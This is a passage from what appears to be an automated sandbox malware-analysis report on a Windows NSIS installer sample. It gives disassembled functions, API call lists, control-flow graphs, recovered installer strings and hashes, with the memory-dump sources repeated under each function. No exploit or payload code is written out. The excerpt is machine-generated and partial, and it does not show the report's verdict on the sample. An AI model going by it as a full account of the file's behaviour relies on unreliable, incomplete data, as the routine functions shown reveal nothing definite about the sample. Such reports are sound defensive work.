                                                                                                                                                                • ShowWindow.USER32(00000005,00000000), ref: 00405B91
                                                                                                                                                                • LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
                                                                                                                                                                • LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
                                                                                                                                                                • GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
                                                                                                                                                                • GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
                                                                                                                                                                • RegisterClassW.USER32(0046AD60), ref: 00405BD3
                                                                                                                                                                • DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
                                                                                                                                                                • String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
                                                                                                                                                                • API String ID: 608394941-1650083594
                                                                                                                                                                • Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
                                                                                                                                                                • Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
                                                                                                                                                                • Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
                                                                                                                                                                • Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E
                                                                                                                                                                Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185stringtimeCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                                                                                                                  • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                                                                                                                • lstrcatW.KERNEL32(00000000,00000000,139,004CB0B0,00000000,00000000), ref: 00401A76
                                                                                                                                                                • CompareFileTime.KERNEL32(-00000014,?,139,139,00000000,00000000,139,004CB0B0,00000000,00000000), ref: 00401AA0
                                                                                                                                                                  • Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016
                                                                                                                                                                  • Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
                                                                                                                                                                  • Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
                                                                                                                                                                  • Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
                                                                                                                                                                  • Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
                                                                                                                                                                  • Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
                                                                                                                                                                  • Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
                                                                                                                                                                  • Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
                                                                                                                                                                • String ID: 139$File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"
                                                                                                                                                                • API String ID: 4286501637-1005907576
                                                                                                                                                                • Opcode ID: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
                                                                                                                                                                • Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
                                                                                                                                                                • Opcode Fuzzy Hash: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
                                                                                                                                                                • Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE
                                                                                                                                                                Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182COMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 587 403587-4035d5 GetTickCount GetModuleFileNameW call 405e50 590 4035e1-40360f call 406009 call 406751 call 406009 GetFileSize 587->590 591 4035d7-4035dc 587->591 599 403615 590->599 600 4036fc-40370a call 4032d2 590->600 592 4037b6-4037ba 591->592 602 40361a-403631 599->602 606 403710-403713 600->606 607 4037c5-4037ca 600->607 604 403633 602->604 605 403635-403637 call 403336 602->605 604->605 611 40363c-40363e 605->611 609 403715-40372d call 403368 call 403336 606->609 610 40373f-403769 GlobalAlloc call 403368 call 40337f 606->610 607->592 609->607 637 403733-403739 609->637 610->607 635 40376b-40377c 610->635 613 403644-40364b 611->613 614 4037bd-4037c4 call 4032d2 611->614 619 4036c7-4036cb 613->619 620 40364d-403661 call 405e0c 613->620 614->607 623 4036d5-4036db 619->623 624 4036cd-4036d4 call 4032d2 619->624 620->623 634 403663-40366a 620->634 631 4036ea-4036f4 623->631 632 4036dd-4036e7 call 407281 623->632 624->623 631->602 636 4036fa 631->636 632->631 634->623 640 40366c-403673 634->640 641 403784-403787 635->641 642 40377e 635->642 636->600 637->607 637->610 640->623 643 403675-40367c 640->643 644 40378a-403792 641->644 642->641 643->623 645 40367e-403685 643->645 644->644 646 403794-4037af SetFilePointer call 405e0c 644->646 645->623 647 403687-4036a7 645->647 650 4037b4 646->650 647->607 649 4036ad-4036b1 647->649 651 4036b3-4036b7 649->651 652 4036b9-4036c1 649->652 650->592 651->636 651->652 652->623 653 4036c3-4036c5 652->653 653->623
                                                                                                                                                                APIs
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00403598
                                                                                                                                                                • GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4
                                                                                                                                                                  • Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
                                                                                                                                                                  • Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76
                                                                                                                                                                • GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600
                                                                                                                                                                Strings
                                                                                                                                                                • Inst, xrefs: 0040366C
                                                                                                                                                                • Error launching installer, xrefs: 004035D7
                                                                                                                                                                • Null, xrefs: 0040367E
                                                                                                                                                                • Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
                                                                                                                                                                • soft, xrefs: 00403675
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$AttributesCountCreateModuleNameSizeTick
                                                                                                                                                                • String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
                                                                                                                                                                • API String ID: 4283519449-527102705
                                                                                                                                                                • Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
                                                                                                                                                                • Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
                                                                                                                                                                • Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
                                                                                                                                                                • Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C
                                                                                                                                                                Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166fileCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 654 40337f-403396 655 403398 654->655 656 40339f-4033a7 654->656 655->656 657 4033a9 656->657 658 4033ae-4033b3 656->658 657->658 659 4033c3-4033d0 call 403336 658->659 660 4033b5-4033be call 403368 658->660 664 4033d2 659->664 665 4033da-4033e1 659->665 660->659 666 4033d4-4033d5 664->666 667 4033e7-403407 GetTickCount call 4072f2 665->667 668 403518-40351a 665->668 669 403539-40353d 666->669 680 403536 667->680 682 40340d-403415 667->682 670 40351c-40351f 668->670 671 40357f-403583 668->671 673 403521 670->673 674 403524-40352d call 403336 670->674 675 403540-403546 671->675 676 403585 671->676 673->674 674->664 689 403533 674->689 678 403548 675->678 679 40354b-403559 call 403336 675->679 676->680 678->679 679->664 691 40355f-403572 WriteFile 679->691 680->669 685 403417 682->685 686 40341a-403428 call 403336 682->686 685->686 686->664 692 40342a-403433 686->692 689->680 693 403511-403513 691->693 694 403574-403577 691->694 695 403439-403456 call 407312 692->695 693->666 694->693 696 403579-40357c 694->696 699 40350a-40350c 695->699 700 40345c-403473 GetTickCount 695->700 696->671 699->666 701 403475-40347d 700->701 702 4034be-4034c2 700->702 703 403485-4034b6 MulDiv wsprintfW call 404f72 701->703 704 40347f-403483 701->704 705 4034c4-4034c7 702->705 706 4034ff-403502 702->706 712 4034bb 703->712 704->702 704->703 709 4034e7-4034ed 705->709 710 4034c9-4034db WriteFile 705->710 706->682 707 403508 706->707 707->680 711 4034f3-4034f7 709->711 710->693 713 4034dd-4034e0 710->713 711->695 715 4034fd 711->715 712->702 713->693 714 4034e2-4034e5 713->714 714->711 715->680
                                                                                                                                                                APIs
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 004033E7
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00403464
                                                                                                                                                                • MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
                                                                                                                                                                • wsprintfW.USER32 ref: 004034A4
                                                                                                                                                                • WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
                                                                                                                                                                • WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CountFileTickWrite$wsprintf
                                                                                                                                                                • String ID: ... %d%%$P1B$X1C$X1C
                                                                                                                                                                • API String ID: 651206458-1535804072
                                                                                                                                                                • Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
                                                                                                                                                                • Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
                                                                                                                                                                • Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
                                                                                                                                                                • Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9
                                                                                                                                                                Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 716 404f72-404f85 717 405042-405044 716->717 718 404f8b-404f9e 716->718 719 404fa0-404fa4 call 406805 718->719 720 404fa9-404fb5 lstrlenW 718->720 719->720 722 404fd2-404fd6 720->722 723 404fb7-404fc7 lstrlenW 720->723 726 404fe5-404fe9 722->726 727 404fd8-404fdf SetWindowTextW 722->727 724 405040-405041 723->724 725 404fc9-404fcd lstrcatW 723->725 724->717 725->722 728 404feb-40502d SendMessageW * 3 726->728 729 40502f-405031 726->729 727->726 728->729 729->724 730 405033-405038 729->730 730->724
                                                                                                                                                                APIs
                                                                                                                                                                • lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
                                                                                                                                                                • lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
                                                                                                                                                                • lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
                                                                                                                                                                • SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
                                                                                                                                                                • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
                                                                                                                                                                • SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
                                                                                                                                                                • SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D
                                                                                                                                                                  • Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2740478559-0
                                                                                                                                                                • Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
                                                                                                                                                                • Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
                                                                                                                                                                • Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
                                                                                                                                                                • Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98
                                                                                                                                                                Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78COMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 731 401eb9-401ec4 732 401f24-401f26 731->732 733 401ec6-401ec9 731->733 734 401f53-401f7b GlobalAlloc call 406805 732->734 735 401f28-401f2a 732->735 736 401ed5-401ee3 call 4062a3 733->736 737 401ecb-401ecf 733->737 750 4030e3-4030f2 734->750 751 402387-40238d GlobalFree 734->751 739 401f3c-401f4e call 406009 735->739 740 401f2c-401f36 call 4062a3 735->740 748 401ee4-402702 call 406805 736->748 737->733 741 401ed1-401ed3 737->741 739->751 740->739 741->736 747 401ef7-402e50 call 406009 * 3 741->747 747->750 763 402708-40270e 748->763 751->750 763->750
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016
                                                                                                                                                                • GlobalFree.KERNELBASE(0069D998), ref: 00402387
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FreeGloballstrcpyn
                                                                                                                                                                • String ID: 139$Exch: stack < %d elements$Pop: stack empty
                                                                                                                                                                • API String ID: 1459762280-3130459460
                                                                                                                                                                • Opcode ID: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
                                                                                                                                                                • Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
                                                                                                                                                                • Opcode Fuzzy Hash: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
                                                                                                                                                                • Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD
                                                                                                                                                                Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 766 4022fd-402325 call 40145c GetFileVersionInfoSizeW 769 4030e3-4030f2 766->769 770 40232b-402339 GlobalAlloc 766->770 770->769 771 40233f-40234e GetFileVersionInfoW 770->771 773 402350-402367 VerQueryValueW 771->773 774 402384-40238d GlobalFree 771->774 773->774 777 402369-402381 call 405f51 * 2 773->777 774->769 777->774
                                                                                                                                                                APIs
                                                                                                                                                                • GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
                                                                                                                                                                • GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
                                                                                                                                                                • GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
                                                                                                                                                                • VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360
                                                                                                                                                                  • Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E
                                                                                                                                                                • GlobalFree.KERNELBASE(0069D998), ref: 00402387
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3376005127-0
                                                                                                                                                                • Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
                                                                                                                                                                • Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
                                                                                                                                                                • Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
                                                                                                                                                                • Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19
                                                                                                                                                                Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 782 402b23-402b37 GlobalAlloc 783 402b39-402b49 call 401446 782->783 784 402b4b-402b6a call 40145c WideCharToMultiByte lstrlenA 782->784 789 402b70-402b73 783->789 784->789 790 402b93 789->790 791 402b75-402b8d call 405f6a WriteFile 789->791 792 4030e3-4030f2 790->792 791->790 796 402384-40238d GlobalFree 791->796 796->792
                                                                                                                                                                APIs
                                                                                                                                                                • GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
                                                                                                                                                                • WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
                                                                                                                                                                • lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
                                                                                                                                                                • WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2568930968-0
                                                                                                                                                                • Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
                                                                                                                                                                • Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
                                                                                                                                                                • Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
                                                                                                                                                                • Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68
                                                                                                                                                                Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 799 402713-40273b call 406009 * 2 804 402746-402749 799->804 805 40273d-402743 call 40145c 799->805 807 402755-402758 804->807 808 40274b-402752 call 40145c 804->808 805->804 809 402764-40278c call 40145c call 4062a3 WritePrivateProfileStringW 807->809 810 40275a-402761 call 40145c 807->810 808->807 810->809
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016
                                                                                                                                                                • WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
